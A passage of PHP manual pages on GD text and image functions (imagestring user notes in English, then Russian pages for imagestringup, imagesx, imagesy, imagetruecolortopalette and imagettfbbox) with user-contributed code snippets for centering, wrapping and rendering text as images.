function pixelfuck($url, $chars='ewk34543§G§$§$Tg34g4g', $shrpns=1, $size=4,$weight=2)
{
    list($w, $h, $type) = getimagesize($url);
    $resource = imagecreatefromstring(file_get_contents($url));
    $img = imagecreatetruecolor($w*$size,$h*$size);

    $cc = strlen($chars);
    for($y=0;$y <$h;$y+=$shrpns)
        for($x=0;$x <$w;$x+=$shrpns)
            imagestring($img,$weight,$x*$size,$y*$size, $chars{@++$p%$cc}, imagecolorat($resource, $x, $y));
    return $img;
}

$url = 'http://upload.wikimedia.org/wikipedia/commons/b/be/Manga_Icon.png';
$text = 'I-dont-like-manga-...-Why-do-they-have-such-big-eyes? Strange-...-WHAT-WANT-YOU-DO?';

Header('Content-Type: image/png');
imagepng(pixelfuck($url, $text, 1, 6));
?>

Have fun  :)
Abubaker dot shamlan at gmail dot com 19-Aug-2008 03:02
this is a function that is based on imagestring but it produces text in the center of an image i hope it helps :D

<?php
function ImageStringCenter($image_resource, $font_size, $line_number, $total_lines, $text, $color ) {

    $center_x = ceil( ( imagesx($image_resource) - ( ImageFontWidth($font_size) * strlen($text) ) ) / 2 );

    $center_y = ceil( ( ( imagesy($image_resource) - ( ImageFontHeight($font_size) * $total_lines ) ) / 2)  + ( ($line_number-1) * ImageFontHeight($font_size) ) );

ImageString($image_resource, $font_size, $center_x, $center_y, $text, $color );

}
?>
mustafa at hafunny dot info 14-Aug-2008 02:42
If you have any problem with CentralEurope's words, for example : lsctzyaieuanod, I am try this problem by iconv() function.

<?php
// create example image
$im = imagecreate(200, 20);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
$text = "lsctzyaieuanod...";

//simple convert string
$string = iconv("Windows-1250", "Latin2", $text);

// write converted string at the top left
imagestring($im, 4, 0, 0, $string, $textcolor);

// output the image
header("Content-type: image/png");
imagepng($im);
?>
sk89q 14-Mar-2008 02:10
Creates a box of text. Has horizontal and vertical alignment, box arguments, and custom leading. I submitted this to the manual in 2003 actually, but it disappeared after a year or so (not sure why). Here it is again.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");
define("VALIGN_TOP", "top");
define("VALIGN_MIDDLE", "middle");
define("VALIGN_BOTTOM", "bottom");

function imagestringbox(&$image, $font, $left, $top, $right, $bottom, $align, $valign, $leading, $text, $color)
{
   // Get size of box
   $height = $bottom - $top;
   $width = $right - $left;

   // Break the text into lines, and into an array
   $lines = wordwrap($text, floor($width / imagefontwidth($font)), "\n", true);
   $lines = explode("\n", $lines);

   // Other important numbers
   $line_height = imagefontheight($font) + $leading;
   $line_count = floor($height / $line_height);
   $line_count = ($line_count > count($lines)) ? (count($lines)) : ($line_count);

   // Loop through lines
   for ($i = 0; $i < $line_count; $i++)
   {
       // Vertical Align
       switch($valign)
       {
           case VALIGN_TOP: // Top
               $y = $top + ($i * $line_height);
               break;
           case VALIGN_MIDDLE: // Middle
               $y = $top + (($height - ($line_count * $line_height)) / 2) + ($i * $line_height);
               break;
           case VALIGN_BOTTOM: // Bottom
               $y = ($top + $height) - ($line_count * $line_height) + ($i * $line_height);
               break;
           default:
               return false;
       }

       // Horizontal Align
       $line_width = strlen($lines[$i]) * imagefontwidth($font);
       switch($align)
       {
           case ALIGN_LEFT: // Left
               $x = $left;
               break;
           case ALIGN_CENTER: // Center
               $x = $left + (($width - $line_width) / 2);
               break;
           case ALIGN_RIGHT: // Right
               $x = $left + ($width - $line_width);
               break;
           default:
               return false;
       }

       // Draw
       imagestring($image, $font, $x, $y, $lines[$i], $color);
   }

   return true;
}
?>
eviloverlord+php at gmail dot com 03-Jan-2008 03:28
Simple script to convert a string (such as an email addresses) to a transparent image.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>">

From a spambot's point of view, they see:
<img src="stringtoimg.php?string=ZpbXZG92ZXJsb3JkQGdtYWlsLmNvbQ%3D%3D">

Optional parameters:
    font_size: 1 to 5, with the default at 3
    R/G/B: the font color, in hex.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>&font_size=4&R=FF&G=FF&B=00">

<?php
/*
Filename: stringtoimg.php

Parameters:
        string: the string to print
        font_size (optional): the size of the font from 1-5
        R/G/B (optional): the RGB colors of the font in hex
*/

header ("Content-type: image/png");

//Get string info
$font_size = isset($_GET['font_size']) ? $_GET['font_size'] : 3;
$string = urldecode(base64_decode($_GET['string']));

//Get the size of the string
$width = imagefontwidth($font_size) * strlen($string);
$height = imagefontheight($font_size);

//Create the image
$img = @imagecreatetruecolor($width, $height)
      or die("Cannot Initialize new GD image stream");

//Make it transparent
imagesavealpha($img, true);
$trans_colour = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $trans_colour);

//Get the text color
$text_color = isset($_GET['R'], $_GET['G'], $_GET['B']) ?
        imagecolorallocate($img, hexdec($_GET['R']), hexdec($_GET['G']), hexdec($_GET['B'])) :
        imagecolorallocate($img, 0, 0, 0);

//Draw the string
imagestring($img, $font_size, 0, 0,  $string, $text_color);

//Output the image
imagepng($img);
imagedestroy($img);
?>
Epidemiah 03-Jan-2008 05:06
Its just an easy function to write an string in the middle of a picture.

<?php

function imageCenterString(&$img, $font, $text, $color)
{
    if($font < 0 || $font > 5){ $font = 0; }
    $num = array(array(4.6, 6),
                 array(4.6, 6),
                 array(5.6, 12),
                 array(6.5, 12),
                 array(7.6, 16),
                 array(8.5, 16));
    $width = ceil(strlen($text) * $num[$font][0]);
    $x     = imagesx($img) - $width - 8;
    $y     = Imagesy($img) - ($num[$font][1] + 2);
    imagestring($img, $font, $x/2, $y/2, $text, $color);
}

?>
jlamer 18-Feb-2007 06:00
//  Example of use...

//  This is a simple function to output text to an image
//  which is centered (as much as I want to do by eye)
//  and wrapped
//    Just remember that all the sizes are guessed
// doesn't cut on the space (only on number of characters)
//  or change color of text, but this isn't for that...
function imageCenterString( $imgw, $imgh,
   $image_text = '', $text_size=5 )
{
   $im = imagecreate( $imgw, $imgh );

   // white background and blue text
   $bg = imagecolorallocate($im, 255, 255, 255);
   $textcolor = imagecolorallocate($im, 0, 0, 0);

   $t_h = $t_w = $t_x = $t_y = 0;
   $base_w =9; $base_h = 16;
   $m = 0.88;
   switch ( $text_size )
   {
      case 1: $t_w = $base_w*pow(($m*.98),4);
         $t_h = $base_h*pow(($m*.98),4);
         break;
      case 2: $t_w = $base_w*pow($m,3);
         $t_h = $base_h*pow($m,3);
         break;
      case 3: $t_w = $base_w*pow($m,2);
         $t_h = $base_h*pow($m,2);
         break;
      case 4: $t_w = $base_w*$m;
         $t_h = $base_h*$m;
         break;
      case 5: $t_w = $base_w;
         $t_h = $base_h;
         break;
      default:
         if ( $text_size >= 5 ) // set to 5
         {   $t_w = $base_w; $t_h = $base_h; }
         if ( $text_size < 5 ) // set to 1
         {
            $t_w = $base_w*pow(($m*.98),4);
            $t_h = $base_h*pow(($m*.98),4);
         }
         break;
   }

   $text_array = array();

   $max = floor($imgw/$t_w);

   for( $i=0; strlen($image_text) > 0; $i += $max)
   {
      array_push($text_array, substr($image_text,0,$max));
      if ( strlen($image_text) >= $max )
      {   $image_text = substr($image_text,$max); }
      else
      {   $image_text = ''; }
   }

   $t_y = ($imgh/2) - ($t_h*count($text_array)/2);

   foreach ( $text_array as $text )
   {
      $t_x = ($imgw/2)-($t_w*strlen($text)/2);
      imagestring($im, $text_size, $t_x, $t_y,
         $text, $textcolor);
      $t_y += $t_h;
   }

   // output the image
   header("Content-type: image/gpeg");
   imagejpeg($im);
}
gannon (at) portablesofdoom (dot) org 27-Dec-2006 06:53
I like this better than "tjpoe at cableaz dot com"'s function for wrapping text to fit width (auto-adjusts height as needed) since it doesn't only do 1 word per line.

function make_wrapped_txt($txt, $color=000000, $space=4, $font=4, $w=300) {
  if (strlen($color) != 6) $color = 000000;
  $int = hexdec($color);
  $h = imagefontheight($font);
  $fw = imagefontwidth($font);
  $txt = explode("\n", wordwrap($txt, ($w / $fw), "\n"));
  $lines = count($txt);
  $im = imagecreate($w, (($h * $lines) + ($lines * $space)));
  $bg = imagecolorallocate($im, 255, 255, 255);
  $color = imagecolorallocate($im, 0xFF & ($int >> 0x10), 0xFF & ($int >> 0x8), 0xFF & $int);
  $y = 0;
  foreach ($txt as $text) {
    $x = (($w - ($fw * strlen($text))) / 2);
    imagestring($im, $font, $x, $y, $text, $color);
    $y += ($h + $space);
  }
  header('Content-type: image/jpeg');
  die(imagejpeg($im));
}
iibm at free dot fr 14-Dec-2006 02:21
I've made a little modification of the (quite usefull) imagestringcutted function (when align=center, it doesn't work well for me if x1!=0) so juste replace the last line with :

<?php
   [...]
   else imagestring($img,$font,$x1+($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Piotr dot Sulecki at traxelektronik dot pl 09-Nov-2006 03:18
The built-in fonts used to be in latin-2 (iso8859-2) encoding. For some time, they are in latin-1 (iso8859-1) encoding. There is no way to change the encoding at all. If you need to use any other encoding, you have to use TrueType fonts.
god at in-heaven dot org 18-Oct-2006 02:47
Here's a simple function for creating an aligned string which is cutted to match the space between $x1 and $x2
<?php
function imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align="center") {
    $fontwidth = imagefontwidth($font);
    $fullwidth = strlen($text) * $fontwidth;
    $maxwidth = $x2-$x1;
    $targetwidth = $fullwidth-(4*$fontwidth);
    if($fullwidth > $maxwidth) {
        for($i = 0; $i < strlen($text) AND ((strlen($text)-($i-4))*$fontwidth) > $targetwidth ;$i++) { }
        $text = substr($text,0,(strlen($text)-$i)-4)."...";
    }
    if($align == "left") imagestring($img,$font,$x1,$y,$text,$color);
    elseif($align == "right") imagestring($img,$font,$x2 - ((strlen($text) * $fontwidth)),$y,$text,$color);
    else imagestring($img,$font,($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Usage:
<?php
imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align);
?>
Will create a string $text, which is cutted if it's too long to match between  $x1 and $2, on $img with font $font and color $color at height $y and with align to $align.
Hope it will help some people.
Sorry for my bad English.
rush at 507magazine dot com 28-Feb-2006 11:54
hello, I noticed that if you put a rand(3,5) it will put random sizes of font to each character put on the image. this is very useful when programming captchas for anti-spam form verification.
julien / at / theoconcept.com 01-Feb-2006 03:21
If you are looking for a way to generate a "CAPTCHA" image for a form verification (to verify it is not a robot), have a look at this : http://blog.theoconcept.com/static/distortion/

It gives an animated image with the parameter string, with distortion, here is an example :
http://blog.theoconcept.com/static/distortion/distortion.php

(*)  You'll need GD + Freetype support
(**) You'll need ImageMagick on the machine
m dot onderwater at esperantoxl dot nl 05-Dec-2005 10:55
There is a small error in the function for horizontal and vertical centering by "jurgen dot vanoosterwijck at pandora dot be"

the line

 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);

should be

 $cy = (imagesy($img)/2) - (imagefontheight($font)/2);
aly at slo-igre dot net 11-Jun-2005 01:12
There is an error in "tjpoe at cableaz dot com" 's function ImageStringWrap. Instead of

    else
           $string = $text;

there should be

     else
           $string = array($text);

for function to work for strings with only one word. Otherwise it works like a charm, thanks.
tjpoe at cableaz dot com 27-May-2005 07:48
i modified the centering functions and created this which centers each word on it's own line. You can adjust the spacing with the $valign var. currently no implimentation if text is too large for image. strings are tokenized by space, but can obviously be changed.

function ImageStringWrap($image, $font, $text, $color)
{
  $fontwidth = ImageFontWidth($font);
  $fontheight = ImageFontHeight($font);
  $words= str_word_count($text);
  if ($words > 1){
    $string=array(strtok($text,' '));
    for ($i = 1 ; $i <= $words ; $i++){
      $string=array_merge($string,array($i=>strtok(' ')));
    }
  }
  else
    $string=$text;
  $vspace=4;
  $y=((imagesy($image)-($fontheight*$words)-($words*$vspace))/2);
  foreach($string as $st){
    $x=((imagesx($image)-($fontwidth * strlen($st)))/2);
    ImageString($image,$font,$x,$y,$st,$color);
    $y+=($fontheight+$vspace);
  }
}
hope this is helpful
bpgordon at gmail dot com 23-May-2005 04:04
This code produces a png image of the text within the query. It autofits to the length of the string.
Usage: http://yoursite.com/text.php?abcdefg+hijk

Use + to produce a space in the image. The + can be excaped with a carat (^). Most other symbols work fine in the query string, like the ?.

<?php
header ("Content-type: image/png");
$string = $_ENV["QUERY_STRING"];
$md5 = md5($string); //just so we don't convert valid text into a +
$string = str_replace("^+", $md5, $string); //replaces ^+ with long, unnatural string
$string = str_replace("+", " ", $string); //replaces + with space
$string = str_replace($md5, "+", $string); //replaces the long, unnatural string with +
$width  = imagefontwidth($font) * strlen($string);
$height = imagefontheight($font);
$image = @imagecreate($width+2, $height+2);
$black = imagecolorallocate($image, 0, 0, 0); //background
$white = imagecolorallocate($image, 255, 255, 255);
imagestring($image, 2, 1, 1,  $string, $white);
imagepng($image);
imagedestroy($image);
?>
jurgen dot vanoosterwijck at pandora dot be 12-May-2005 10:52
Based on the previous example, here's how to center a string both horizontally and vertically...

<?php
function imagestringcentered ($img,$font,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
shadikka at gmail dot com 26-Mar-2005 11:49
My version of the centered string, it decreases the font number (since I've noticed smaller numbers are smaller fonts) until 1 if the string won't fit. Then it will give up.

<?php
function imagestringcentered ($img,$font,$cy,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
webmaster at acdrifter dot com 28-Feb-2005 08:08
If you are looking to center the text, use the following function; I'm not promising perfection...

function imagecenteredstring ( &$img, $font, $xMin, $xMax, $y, $str, $col ) {
    $textWidth = imagefontwidth( $font ) * strlen( $str );
    $xLoc = ( $xMax - $xMin - $textWidth ) / 2 + $xMin + $font;
    imagestring( $img, $font, $xLoc, $y, $str, $col );
}
cesargus at yahoo dot com 17-Nov-2004 10:27
//simple hello world

<?
header ("Content-type: image/png");

$img_handle = ImageCreate (200, 20) or die ("Cannot Create image");
$back_color = ImageColorAllocate ($img_handle, 0, 10, 10);
$txt_color = ImageColorAllocate ($img_handle, 235, 235, 51);
ImageString ($img_handle, 10, 25, 5,  "Hello world!", $txt_color);
ImagePng ($img_handle);
?>
brooks dot boyd at gmail dot com 13-Oct-2004 12:35
Drawing a string as an image is a handy way to disguise an eMail address so spam sniffers can't get it as easily. The only catch to creating a dynamic image with your eMail in it is the eMail to be displayed must be passed via the query string to enable static HTML to use it. So, the eMail must be encrypted slightly in order to not defeat the purpose of not typing your eMail address outright. I wrote the following script to do so:

Save the following as email.php
<?php
    if ($_GET['addr'] != "") {
        $msg = $_GET['addr'];
        $msg = preg_replace("/\[dot]/",".",$msg);
        $msg = preg_replace("/\[at]/","@",$msg);
        $final = "";
        for ($i=0; $i<=strlen($msg); $i++) {
            $final .= substr($msg, strlen($msg)-$i, 1);
        }
        $msg = $final;

        $char_width = 8;
        $char_height = 17;
        $padding = 3;
        $width = $padding*2+strlen($msg)*$char_width;
        $height = +$padding*2+$char_height;
        $im = imagecreatetruecolor($width,$height);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 255, 0, 100);
        $text = imagecolorallocatealpha($im, 0, 0, 0, 0);
        imagefilledrectangle ($im, 0, 0, $width, $height, $bg); # Make transparent
        imagestring($im, 4, $padding, $padding, $msg, $text);
    } else {
        $im = imagecreatetruecolor(1,1);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 0, 0, 125);
        imagefilledrectangle ($im, 0, 0, 1, 1, $bg); # Make transparent
    }
    header('Content-type: image/jpg');
    imagepng($im);
    imagedestroy($im);

?>

If the script is called without an eMail address, it outputs a 2x2 transparent image.

To call the script to generate the eMail "user@home.com", the HTML tag would be:

<img src="email.php?addr=moc[dot]emoh[at]resu">

To 'encrypt' the eMail address to pass to the script, write the address backwards and replace "." with "[dot]" and "@" with "[at]". It's not the most ironclad protection, but it thwarts most casual eMail sniffers.
php dot net at mvoncken dot nl 14-Feb-2003 02:18
A simple example:
To make one line of text fit in the image.

<?php
header ("Content-type: image/png");
$string = "spam@mvoncken.nl";
$font   = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
$background_color = imagecolorallocate ($im, 255, 255, 255); //white background
$text_color = imagecolorallocate ($im, 0, 0,0);//black text
imagestring ($im, $font, 0, 0,  $string, $text_color);
imagepng ($im);
?>

I use something like this for spamprotection of my visitors (pass userid as an url-parameter for this php)
aholmes84 at hotmail dot com 08-Nov-2002 11:25
When setting the font, any integer less than 1 defaults to 1, and any integer greater than 5 defaults to 5.
deejay_world at yahoo dot com 10-Jun-2002 07:25
Width ImageString, the strings you draw are not automatically wrapped width the edge of the image. You may use this function to automatically wrap them:

function ImageStringWrap($image, $font, $x, $y, $text, $color, $maxwidth)
{
    $fontwidth = ImageFontWidth($font);
    $fontheight = ImageFontHeight($font);

    if ($maxwidth != NULL) {
        $maxcharsperline = floor($maxwidth / $fontwidth);
        $text = wordwrap($text, $maxcharsperline, "\n", 1);
      }

    $lines = explode("\n", $text);
    while (list($numl, $line) = each($lines)) {
        ImageString($image, $font, $x, $y, $line, $color);
        $y += $fontheight;
      }
}

So, in particular, if you want to wrap a text with the edge of the Image, you may do:
ImageStringWrap($img, $font, 0, $y, $text, $color, ImageSX($img) );
bob dot brown at opus dot co dot nz 02-Apr-2002 03:59
If you find that you are getting two characters on the end of your imageString that look like a Y and an upside down L then they're probably representations of CR/LF.  Try trim()ing the string before outputting it.  (I was sooo sure this was a bug <g>)


Рисование строки текста вертикально

  • « imagestring
  • imagesx »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование строки текста вертикально

imagestringup

(PHP 4, PHP 5, PHP 7, PHP 8)

imagestringup — Рисование строки текста вертикально

Описание

imagestringup(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $string,
int $color
): bool

Рисует текст string вертикально на заданных координатах.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

font

Может принимать значения 1, 2, 3, 4, 5 для встроенных шрифтов в кодировке latin2 (более высокое число соответствует большему шрифту) или экземпляр GdFont, возвращаемый функцией imageloadfont()..

x

x-координата нижнего левого угла.

y

y-координата нижнего левого угла.

string

Текст надписи.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр font теперь принимает как экземпляр GdFont, так и целое число (int); ранее принималось только целое число (int).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagestringup()

<?php
// Создание изображения 100*100
$im = imagecreatetruecolor(100, 100);

// Надпись
$textcolor = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
imagestringup($im, 3, 40, 80, 'gd library', $textcolor);

// Сохранение изображения
imagepng($im, './stringup.png');
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagestringup()

Смотрите также

  • imagestring() - Рисование строки текста горизонтально
  • imageloadfont() - Загрузка шрифта

User Contributed Notes

13-Dec-2002 05:19
function imagestringdown(&$image, $font, $x, $y, $s, $col)
{
    $width = imagesx($image);
   $height = imagesy($image);

    $text_image = imagecreate($width, $height);

   $white = imagecolorallocate ($text_image, 255, 255, 255);
   $black = imagecolorallocate ($text_image, 0, 0, 0);

    $transparent_colour = $white;
   if ($col == $white)
      $transparent_color = $black;

   imagefill($text_image, $width, $height, $transparent_colour);
   imagecolortransparent($text_image, $transparent_colour);

   imagestringup($text_image, $font, ($width - $x), ($height - $y), $s, $col);
   imagerotate($text_image, 180.0, $transparent_colour);

   imagecopy($image, $text_image, 0, 0, 0, 0, $width, $height);
}


Получение ширины изображения

  • « imagestringup
  • imagesy »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение ширины изображения

imagesx

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesx — Получение ширины изображения

Описание

imagesx(GdImage $image): int

Возвращает ширину заданного изображения image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает ширину изображения image.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagesx()

<?php

// создание изображения 300*200
$img = imagecreatetruecolor(300, 200);

echo imagesx($img); // 300

?>

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения
  • getimagesize() - Получение размера изображения
  • imagesy() - Получение высоты изображения

User Contributed Notes

kris 22-Sep-2004 05:49
You can in fact convert pixels to CM or to whatever measurement you want if you know the DPI and current resolution of the image.  This will of course give you the real life print size of the image and not the actual on screen size of the image.

This function seems to have been created for such a purpose.  It is for this reason the creator of the function passes the DPI and resolution to his function.
anC 26-Aug-2004 11:38
You can't convert pixels into centimeters or something else, atleast without knowing the resolution and the size of your screen and the viewrange of it. For example: The pixels on monitor that's resolution is 1024*768 and size is 17' the size of a pixel is smaller than on the monitor that's resolution is 1024*768 too but size is 21'.
leonardo AT saochico DOT com 21-Nov-2003 07:24
This function convert image size of Pixel to Centimeter

<?
#$imagem - source of image
#$dpi - resolution to convert E.g.: 72dpi or 300dpi

function px2cm($image, $dpi) {
    #Create a new image from file or URL
    $img = ImageCreateFromJpeg($image);

    #Get image width / height
    $x = ImageSX($img);
    $y = ImageSY($img);

    #Convert to centimeter
    $h = $x * 2.54 / $dpi;
    $l = $y * 2.54 / $dpi;

    #Format a number with grouped thousands
    $h = number_format($h, 2, ',', ' ');
    $l = number_format($l, 2, ',', ' ');

    #add size unit
    $px2cm[] = $h."cm";
    $px2cm[] = $l."cm";

    #return array w values
    #$px2cm[0] = X
    #$px2cm[1] = Y
    return $px2cm;
}

$image = "C:\\inetpub\\wwwroot\\lab\\trata_img\\l0gik.jpg";
$dpi = 300;

$result = px2cm($image, $dpi);

print ($result[0]." x ".$result[1]);
?>


Получение высоты изображения

  • « imagesx
  • imagetruecolortopalette »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение высоты изображения

imagesy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesy — Получение высоты изображения

Описание

imagesy(GdImage $image): int

Возвращает высоту заданного изображения image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает высоту изображения image.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagesy()

<?php

// Создание изображения 300*200
$img = imagecreatetruecolor(300, 200);

echo imagesy($img); // 200

?>

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения
  • getimagesize() - Получение размера изображения
  • imagesx() - Получение ширины изображения

User Contributed Notes

There are no user contributed notes for this page.


Преобразование полноцветного изображения в палитровое

  • « imagesy
  • imagettfbbox »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Преобразование полноцветного изображения в палитровое

imagetruecolortopalette

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagetruecolortopalette — Преобразование полноцветного изображения в палитровое

Описание

imagetruecolortopalette(GdImage $image, bool $dither, int $num_colors): bool

imagetruecolortopalette() преобразует полноцветное изображение в палитровое. Код этой функции взят из кода библиотеки Независимой Группы JPEG. Код был модифицирован, чтобы сохранялось максимум информации об альфа компонентах цветов, а также передавались цвета в лучшем виде насколько это возможно. Но в итоге код работает не так хорошо, как хотелось бы. В связи с этим функцию можно использовать для вывода полноцветных изображений, она гарантирует самое высокое качество вывода. Но не более того.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

dither

Если задано true, изображение будет сглаживаться. Сглаживание увеличивает шумность картинки, но в то же время обеспечивает лучшую передачу цветов.

num_colors

Задаёт максимальное количество цветов в палитре.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Преобразование truecolor-изображения в палитровое

<?php
// Создание полноцветного изображения
$im = imagecreatetruecolor(100, 100);

// Преобразование в палитровое (255 цветов) без сглаживания
imagetruecolortopalette($im, false, 255);

// Сохранение картинки
imagepng($im, './paletteimage.png');
imagedestroy($im);
?>

User Contributed Notes

djcassis(a)gmail.com 21-Sep-2008 06:52
>> zmorris at zsculpt dot com

I don't have the imageColorMatch() function on my server, but I could slighty improve the quality of the GIF/PNG image by converting it first to 256 colors, then to true colors and finally to the desired number of colors.

<?php

$dither = true;
$colors = 64;

$tmp = imageCreateFromJpeg('example.jpg');
$width = imagesX($tmp);
$height = imagesY($tmp);
imageTrueColorToPalette($tmp, $dither, 256);
$image = imageCreateTrueColor($width, $height);
imageCopy($image, $tmp, 0, 0, 0, 0, $width, $height);
imageDestroy($tmp);
imageTrueColorToPalette($image, $dither, $colors);

?>

Final $image will still have less than 64 colors, but more than if it was directly converted to 64 colors, and they match the JPEG image more.

Dunno why true colors to palette conversions are such a problem...
will at fnatic dot com 24-Feb-2006 12:49
a basic palette to true color function
<?php
    function imagepalettetotruecolor(&$img)
    {
        if (!imageistruecolor($img))
        {
            $w = imagesx($img);
            $h = imagesy($img);
            $img1 = imagecreatetruecolor($w,$h);
            imagecopy($img1,$img,0,0,0,0,$w,$h);
            $img = $img1;
        }
    }
?>
zmorris at zsculpt dot com 16-Aug-2004 10:58
Sometimes this function gives ugly/dull colors (especially when ncolors < 256).  Here is a replacement that uses a temporary image and ImageColorMatch() to match the colors more accurately.  It might be a hair slower, but the file size ends up the same:

<?php
function    ImageTrueColorToPalette2( $image, $dither, $ncolors )
{
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy( $colors_handle );
}
?>
php at roelvanmastbergen dot nl 06-Jun-2004 09:34
The palette created by this function often looks quite awful (at least it did on all of my test images). A better way to convert your true-colour images is by first making a resized copy of them with imagecopyresampled() to a 16x16 pixel destination. The resized image then contains only 256 pixels, which is exactly the number of colours you need. These colours usually look a lot better than the ones generated by imagetruecolortopalette().

The only disadvantage to this method I have found is that different-coloured details in the original image are lost in the conversion.
jemore at nospaM dot m6net dot fr 22-Nov-2003 10:25
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly to GIF format with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
darkelder at php dot net 17-Jul-2003 01:34
TrueColor images should be converted to Palette images with this function. So, if you want to use imagecolorstotal() function [ http://php.net/manual/en/function.imagecolorstotal.php ] , you should first convert the image to a palette image with imagetruecolortopalette();


Получение параметров рамки обрамляющей текст написанный TrueType шрифтом

  • « imagetruecolortopalette
  • imagettftext »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение параметров рамки обрамляющей текст написанный TrueType шрифтом

imagettfbbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imagettfbbox — Получение параметров рамки обрамляющей текст написанный TrueType шрифтом

Описание

imagettfbbox(
float $size,
float $angle,
string $font_filename,
string $string,
array $options = []
): array|false

Эта функция рассчитывает и возвращает параметры рамки вокруг TrueType текста в пикселах.

Замечание:

До PHP 8.0.0 imageftbbox() - это расширенный вариант imagettfbbox() который дополнительно поддерживает extrainfo. Начиная с PHP 8.0.0, imagettfbbox() является псевдонимом imageftbbox().

Список параметров

size

Размер шрифта в типографских пунктах.

angle

Угол в градусах в котором будет измерен string.

fontfile

Путь к шрифту TrueType, который вы хотите использовать.

В зависимости от того, какая библиотека GD используется в PHP, если fontfile не начинается с символа /, то к имени файла будет добавлено .ttf и библиотека будет пытаться искать это имя файла по определённому библиотекой пути шрифтов.

При использовании библиотеки GD версии ниже 2.0.18, в качестве разделителя путей для разных файлов шрифтов используется пробел, а не точка с запятой. Непреднамеренное использование этой особенности приведёт к предупреждению: Warning: Could not find/open font. Единственным корректным решением для этих версий библиотек будет перемещение файлов шрифтов в директорию не содержащую пробелов.

Во многих случаях, когда шрифт находится в том же каталоге, что и скрипт PHP, поможет следующий трюк.

<?php
// Установка переменной окружения для GD
putenv('GDFONTPATH=' . realpath('.'));

// Имя шрифта для использования (обратите внимание, что расширение .ttf не указывается)
$font = 'SomeFont';
?>

Замечание:

Обратите внимание, что open_basedir не применяется к fontfile.

string

Измеряемая строка.

Возвращаемые значения

imagettfbbox() возвращает массив из 8 элементов представляющих координаты четырёх точек - вершин рамки вокруг текста. В случае ошибки функция вернёт false.

ключ | содержимое
0 | нижний левый угол, X координата
1 | нижний левый угол, Y координата
2 | нижний правый угол, X координата
3 | нижний правый угол, Y координата
4 | верхний правый угол, X координата
5 | верхний правый угол, Y координата
6 | верхний левый угол, X координата
7 | верхний левый угол, Y координата

Точки рассчитаны относительно текста text и независимо от угла angle. То есть "верхний левый" означает верхний левый угол, если смотреть на текст горизонтально.

Список изменений

Версия | Описание
8.0.0 | Добавлен параметр options.

Примеры

